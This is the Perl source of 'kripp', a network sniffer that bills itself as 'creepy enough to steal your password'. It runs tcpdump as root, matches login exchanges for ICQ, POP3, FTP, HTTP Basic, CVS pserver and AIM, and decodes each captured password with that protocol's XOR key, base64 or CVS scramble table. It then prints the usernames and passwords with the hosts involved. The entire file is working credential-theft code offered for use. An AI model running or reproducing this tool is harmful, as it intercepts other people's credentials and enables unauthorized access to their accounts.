1#!/usr/local/bin/perl 2 3use IO::File; 4use MIME::Base64; 5 6glob @nets; 7 8glob $kripp_version = "0.6.1"; 9glob $ninterface; 10 11my $netparams = { 12 icq => { 13 tcpdump => "dst host login.icq.com", 14 signature => '\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)', 15 ignore_case => 0 16 }, 17 pop3 => { 18 tcpdump => "port pop3", 19 signature => '\+OK.*\n.*user\s+([^\n\r]+).+\+OK.*\n.*pass\s+([^\n\r]+).+\+OK', 20 ignore_case => 1 21 }, 22 ftp => { 23 tcpdump => "port ftp", 24 signature => '220.+\n.*user\s+([^\n\r]+).*331.+\n.*pass\s+([^\n\r]+).+230', 25 ignore_case => 1 26 }, 27 http => { 28 tcpdump => "port http", 29 signature => '\s+HTTP/.+\nAuthorization:\s+(Basic)\s+(.+)[\r]*\n|\s+HTTP/.+\nAuthorization:\s+(User)\s+(.+)[\r]*\n', 30 ignore_case => 0 31 }, 32 cvs => { 33 tcpdump => "port cvspserver", 34 signature => 'BEGIN VERIFICATION REQUEST\n(.+\n.+)\n(.+)\nEND VERIFICATION REQUEST\nI LOVE YOU\n', 35 ignore_case => 0 36 }, 37 aim => { 38 tcpdump => "dst host toc.oscar.aol.com", 39 signature => 'toc_signon [^\s]+ \d+ "([^"]+)" "([^"]+)" ', 40 ignore_case => 0 41 } 42}; 43 44sub createnet { 45 if(`which tcpdump 2>&1` =~ m/no .+ in /) { 46 print "tcpdump(8) is needed to run kripp, please also make sure it's on your PATH\n"; 47 exit; 48 } 49 50 my ($name) = @_; 51 my $tdi; 52 53 $un = `uname`; 54 chomp $un; 55 56 $tdi = "-i any" if $un eq "Linux"; 57 $tdi = "-i $ninterface" if not $ninterface eq ""; 58 59 my $fh = new IO::File; 60 my $command = "tcpdump -x -s 0 ".$tdi." -l -e '".$netparams->{$name}->{tcpdump}."' 2>/dev/null |"; 61 62 $fh->open($command) 63 or die "cannot run tcpdump(8) for $name"; 64 65 my $net = { 66 name => $name, 67 buf => {}, 68 handle => $fh 69 }; 70 71 push(@nets, $net); 72} 73 74sub decryptpassword { 75 my ($service, $login, $pass) = @_; 76 77 if($service eq "icq") { 78 my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92"; 79 my $res = ""; 80 81 for(my $i = 0; $i < length($pass); $i++) { 82 $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1))); 83 } 84 $pass = $res; 85 86 } elsif($service eq "aim") { 87 my $xorseq = "Tic/TocTic/TocTic/TocTic/Toc"; 88 my $res = ""; 89 90 substr($pass, 0, 2) = ""; 91 for(my $i = 0; $i < length($pass); $i += 2) { 92 $res .= chr(hex(substr($pass, $i, 2))); 93 } 94 95 $pass = $res; 96 $res = ""; 97 98 for(my $i = 0; $i < length($pass); $i++) { 99 $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1))); 100 } 101 102 $pass = $res; 103 104 } elsif($service eq "http") { 105 if($login eq "Basic") { 106 $pass = decode_base64($pass); 107 } 108 109 if($pass =~ m/^(.+):(.+)$/) { 110 $login = $1; 111 $pass = $2; 112 } 113 } elsif($service eq "cvs") { 114 115 my @shifts = ( 116 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 117 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 118 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 119 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 120 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 121 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 122 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 123 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 124 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 125 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 126 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 127 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 128 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 129 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 130 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 131 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 ); 132 133 if($login =~ m/^(.+)\n(.+)$/) { 134 $login = "$2, $1"; 135 } 136 137 my $res = ""; 138 139 for(my $i = 1; $i < length($pass); $i++) { 140 $res .= chr($shifts[ord(substr($pass, $i, 1))]); 141 } 142 $pass = $res; 143 144 } 145 146 return ($login, $pass); 147} 148 149sub version { 150 print " 151KRIPP: Kripp is Rest In Peace, Privacy; version $kripp_version 152Creepy enough to steal your password (tm) 153http://konst.org.ua/kripp/ 154"; 155} 156 157sub usage { 158 version; 159 print " 160Usage: $0 [ -i <interface> ] [ <net1> <net2> ... ] 161 162The --help and --version parameters work as usual, 163and --interface is an alias for -i. 164 165\"Net\" parameters can be icq, pop3, ftp, http, aim or cvs, i.e. protocols 166the program should steal passwords from. No parameters means all 167of the known networks. 168 169NOTE: kripp will work only from root account. 170 171"; 172} 173 174while(@ARGV) { 175 $_ = $ARGV[0]; 176 177 if($netparams->{$_}) { 178 createnet($_); 179 } elsif($_ eq "--help" or $_ eq "-h") { 180 usage; exit; 181 } elsif($_ eq "--version" or $_ eq "-v") { 182 version; exit; 183 } elsif($_ eq "--interface" or $_ eq "-i") { 184 shift @ARGV; 185 $ninterface = $ARGV[0]; 186 } else { 187 print "Unrecognized parameter: $_\n"; 188 usage; 189 exit; 190 } 191 192 shift @ARGV; 193} 194 195if($#nets == -1) { 196 foreach(keys %$netparams) { 197 createnet($_); 198 } 199} 200 201print "Protocols being kripped:"; 202foreach(@nets) { print " ", $_->{name}; } 203print "\n"; 204 205my ($hostFrom, $hostTo, $rin, $rout, $nextnet); 206my ($paccept, $nextdatalen, $packet) = (0, 0, ""); 207 208while($#nets >= 0) { 209 for(my $i = 0; $i <= $#nets; $i++) { 210 vec($rin, $nets[$i]->{handle}->fileno, 1) = 1; 211 } 212 213 select($rout=$rin, undef, undef, undef); 214 215 for(my $i = 0; $i <= $#nets; $i++) { 216 $name = $nets[$i]->{name}; 217 218 if(vec($rout, $nets[$i]->{handle}->fileno, 1)) { 219 if($nets[$i]->{handle}->eof) { 220 print "$name has died\n"; 221 splice @nets, $i, 1; 222 223 } else { 224 $line = $nets[$i]->{handle}->getline; 225 chomp $line; 226 227 if($line =~ m/^[\d:.]+ ([<>]) [\w:]+ .+: (IP |)([\w.-]+) [<>] ([\w.-]+): (.+)$/) { 228 if($nextdatalen) { 229 substr($packet, 0, length($packet)-$nextdatalen) = ""; 230 $nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} .= $packet; 231 $nextname = $nets[$nextnet]->{name}; 232 233 ($packet, $nextdatalen) = ("", 0); 234 235 if(($netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/is)) 236 or (!$netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/s))) { 237 ($login, $password) = decryptpassword($nextname, $1, $2); 238 print "$nextname password :: $hostFrom -> $hostTo :: $login :: $password\n"; 239 $nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} = ""; 240 } 241 } 242 243 my $pt; 244 245 if($1 eq ">") { 246 ($hostFrom, $hostTo, $pt) = ($3, $4, $5); 247 } else { 248 ($hostFrom, $hostTo, $pt) = ($4, $3, $5); 249 } 250 251 $hostFrom =~ s/\.[\w]+$//; 252 $hostTo =~ s/\.[\w]+$//; 253 254 $paccept = 0; 255 256 if($pt =~ m/P \d+:\d+\((\d+)\)/) { 257 ($paccept, $nextdatalen, $nextnet) = (1, $1, $i); 258 } 259 260 } elsif($paccept and ($line =~ m/^([\s\w]+)$/ or $line =~ m/^\s*[\d\wx:]+\s+([\d\s\w]+)\s\s/)) { 261 $line = $1; 262 $line =~ s/\s//g; 263 264 while(length($line) > 0) { 265 my $c = chr(hex(substr($line, 0, 2))); 266 substr($line, 0, 2) = ""; 267 $packet .= $c; 268 } 269 } 270 } 271 } 272 } 273} 274